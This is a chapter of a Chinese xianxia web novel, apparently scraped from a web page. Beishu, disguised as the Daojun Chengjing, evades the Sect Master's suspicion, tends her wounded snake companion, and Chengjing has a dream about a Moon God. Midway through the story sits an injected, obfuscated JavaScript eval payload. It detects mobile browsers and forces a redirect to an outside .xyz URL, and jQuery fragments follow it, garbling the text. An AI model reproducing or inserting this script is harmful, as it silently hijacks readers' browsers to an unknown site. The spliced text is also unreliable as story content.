“已有两名三阳境执事前往那小宗查看伤亡情况,一位供奉前去追踪,尽可能在魔族将灵源带去解开封印前拦截住。”
天綪道:“待供奉将消息传回宗,你等便先去查看邪神封印是否松动,届时待昆仑仙人到来,一并前往除邪神。”
“既然宗主都安排好了,我等照做便是。”
墨九歌笑笑,正要说话,一瞥“成镜”,立刻收了笑,正色道:“有道君在,想必不会出差错,届时道君若有需要,直接唤我们,我们定及时赶来。”
北溯扫他一眼,心道那可不一定,成镜不会出差错,她只会捣乱。
“你们先退下。”天綪声音淡漠,未曾看三人,视线一直落在“成镜”身上。
北溯方起身,只听天綪一句:“道君请留下。”
三人一愣,了然,宗主这是要与道君详细商议除邪神的事,纷纷离开。
北溯回坐,又听天綪说起飞升。
“我知你近些日会有不适,若是有问题,定要与我说,待昆仑仙人来,你度过这几日,要加快修炼,做好充分准备迎接天劫。”
她说话的语调很平,话里话外都是飞升,北溯听着觉得厌烦。金莲飞升成仙有什么用,成为金莲仙吗?
天綪知道成镜临近月圆会有问题,却没说修为会削弱,她是知成镜的真身是金莲,还是仅仅了解成镜这一异常?
若是前者,天綪这么催着莲花飞升,很有问题。加上昆仑那边来人,那就更古怪。
这年头飞升,也要昆仑那群糟老头子来助力?不过三百年过去,如今的修士已经弱成这样?
方才天綪还说起再有几月便是成镜渡劫之日,他们测算得这么准,这么有把握成镜能在几月内突破入神境?
北溯缓缓看向天綪,那张在旁人眼中冷冽俊逸的脸未见有什么表情,薄唇轻启,问:“他们何时来?”
这才是她最关心的。
那群老不死的来定然没好事,她要彻底炼化成镜加上成功修复好鳞舞至少也得一月时间,这期间昆仑的人再来捣乱,必定要出事。
要修复鳞舞,只能将它的灵源全都注入到成镜体内,这样便会致使她与鳞舞的契约损毁,且为确保万无一失,她必须分出部分灵源供给鳞舞,修为因此削弱,待鳞舞完全从她身体里剥离出去,她的修为必然不及现在一半。
这个时候再被昆仑的人发现,他们若是带了弑神武,怕是很难全身而退。
在被发现前,她必须带走成镜。
天綪眸色深深,直直盯着“成镜”,“月圆那日便会抵达。”
“两日后吗……”北溯做了决定,那便在两日后动手,直接带走成镜。
她正想着要带成镜回妖界还是另找处地方,天綪忽而道:“那名犯事的弟子你可解决了?”
北溯不耐,她确信天綪未发现自己身份,想要她死不过是怀疑她身份有疑,干脆解决了以绝后患。不过几次提起一个打杂弟子,天綪应该不止是因为这个。
她以裴云霄的身份只见过一次天綪,还是那日在吞云殿,只这么短暂功夫,天綪能看出什么?
“还未处理。”不等天綪再说,她直接道:“重莲殿已经死了一名女弟子,再处死一名,便无人伺候。”
这似乎是成镜会说的话。
天綪却摇头,视线一直在“他”身上,顿了片刻,才附和一声:“确实如此,那弟子在你重莲殿待了三个月,再换人,许是没有她熟悉莲池。”
这三个月北溯与珩玲一直都在照看莲池,除污渍,清理枯萎烂掉的荷叶。
天綪这么说,实属在讽刺,这活谁不能干?
“宗主若是无事,我先走了。”
北溯说完起身便走,直至即将走出殿门时,天綪足以响彻整个吞云殿的声音响起:“近些日不大太平,道君若是感知到异样,定要报于我。”
北溯没有应声,直接离开。
她被怀疑了。
并不清楚自己哪里露馅。
成镜与天綪是如何相处的她并不知道,但她的伪装术除非修为在她之上,无人可识破。再者这位道君鲜少露面,她来了莲池三个月都没见他出来过,熟知他性子的人甚少,三位长老都未曾看出来。
要么是她与天綪对话时,某些细节有偏差,引起天綪怀疑。
现在天綪还不敢正面试探,只是有所怀疑。目前占优势的是她,只怕昆仑的人一来,天綪便会动手。
她必须提前带走成镜。
回去路上碰见星峦,他朝她行了礼,匆匆道:“道君这是要回重莲殿?”
北溯嗯了一声,错开他,走了几步停住,问:“昨夜有个入魔的弟子——”
星峦立刻道:“道君问的可是珩断?”他心中诧异,不知道君怎么关心起他的弟子了,旋即一想,那弟子是道君那一名侍奉女弟子的兄长,许是因为这个来关心关心。
“道君不用担心,那弟子已经被关押进镇魔塔,定期会有执事去帮塔内弟子压制心魔,待他除去心魔,便会回归原位。”
但是个修士都知道,要除心魔,谈何容易。
北溯没说话,抬步离开。
星峦看着“他”的背影欲言又止,那日已经与道君说过那女弟子被拖进裂缝,此刻她兄长还因此入魔,这对兄妹,着实福薄。
北溯踏入莲池时,站在田埂,眺望远方。
池塘内莲花依旧盛开,远山云雾缭绕,一切看着平静而安宁。
她静静凝视许久,继续向前。
禁阵开启,北溯踏上水栈,容貌变换,垂下的发丝挽起,足上生出鞋履。
虽然控制着与成镜那般稍稍悬浮,还是喜欢这种脚踏实地的感觉,叫她觉得自己还活着。
一步步走在栈道上,北溯低着头,看着水中自己的倒影,那张她用了三个月的脸。
好似许久没有露出真容,睡了三百年,都快忘了自己长什么样。
止住脚,蹲下来仔细看水面浮现的那张脸,很普通。她伸手摸了摸自己的眼睛,弯了弯眸,又做出愤怒的表情,只一瞬便收了表情,随后起身,脸上瞧不出心底情绪。
昆仑,她必会去。
三百年前的仇,她要报。
寝殿门开启,一道身影悄然无声地进入,床上的小蛇还在昏睡。
北溯凝出星子,喂给它。
凝神看了它许久,才瞧见它睁开眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860754|176011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小蛇眨了眨眼,没什么精神,但看见北溯,立刻要往她肩膀上攀,声音比平常低了些:“北北,我睡着了吗?”
“嗯。”北溯主动伸手托起它,朝它缺了一块的尾巴看去:“你尾巴没了。”
小蛇顿时白了脸,立刻看向自己尾巴,尾巴尖断了一截,好难看!
“呜呜呜北北我被吃掉尾巴了,我会不会死啊呜呜呜。”
北溯哼笑:“会死。”
小蛇瞬间缠上她的手,缠紧了不放:“北北你快救我!我不想死!”
北溯沉默着看它,小蛇似乎意识到她的异样,小心翼翼问:“北北,你不高兴吗?”
“我在想,这次你该吸取教训,不会再把我的话当耳旁风了?”
小蛇顿时明白她指的是什么,开始卖惨:“那我也是怕北北你出事嘛,再说了我现在不好好的嘛?”
小蛇扭了两下,一看到自己缺了的尾巴,焉了,不开心,它不完整了呜呜呜。
“等你身体没了一半,我看你还会不会像现在这样嘴硬。”
北溯是故意逗它,鳞舞一直都是能量体,缺的尾巴化为星子被她灌进成镜身体里,等全都灌进去,小蛇便彻底存于成镜体内,静待孕养重塑。
“不是还有莲花在嘛,我应该没事的吧……”小蛇的底气不足,声音越说越低。
北溯没回它,抬头看向窗外。
“等夜晚降临,再去试第二次。”
小蛇咦了一声,慢一拍地明白她话里意思,震惊道:“北北你开始了?”
听到她嗯了一声,小蛇音量拔高:“北北你怎么不带我一个!我也要看莲花被炼化!北北你怎么炼化的?”
北溯回想昨晚炼化过程,那应该算不上炼化,只是先将小蛇的能量注入进去,还未开启炼化的步骤。
只有等全部注入,才可炼化他。
不过不管是注入能量还是炼化,都不该是鳞舞能看的。
“小孩子不要看这些。”
她又凝了颗星子塞进小蛇嘴里,不听它念叨着不能再分出灵源,倒头躺下。
小蛇唤了几声,见她没反应,爬到她脖颈处团好,蹭了蹭她下巴,打了个哈欠,跟着闭上眼。
寝殿内寂静无声,帷幔随风飘扬。
此刻在梦境中打坐的人忽然睁开眼,眼前圆月碎裂,周围变幻,但仍旧漆黑。
一声急促呼喊打破黑暗。
“北北,出事了!”
意识到又是幻境,兴许还是那女子的过往,成镜凝神去感知,或许能从这幻境中找到她的破绽。
随后那声音又起,这次听得清楚了些,说话的人像是稚童。
“月神,月神他要堕神了!”
那声音好似在耳畔响起,“月神”这二字他听得极为清晰,他正在记忆中搜寻世间是否有月神时,胸口骤然抽痛。
不同于武器刺入身体带来的痛,那是听到噩耗时内心悲恸到极点引起的痛,像是被一只手紧紧捏住心脏,呼吸不过来。
成镜至今未曾弄清楚,为何一个幻境,他会被禁锢在那人身体里,感知她遭遇的痛。
尤其是现在,她痛得,生出了死意。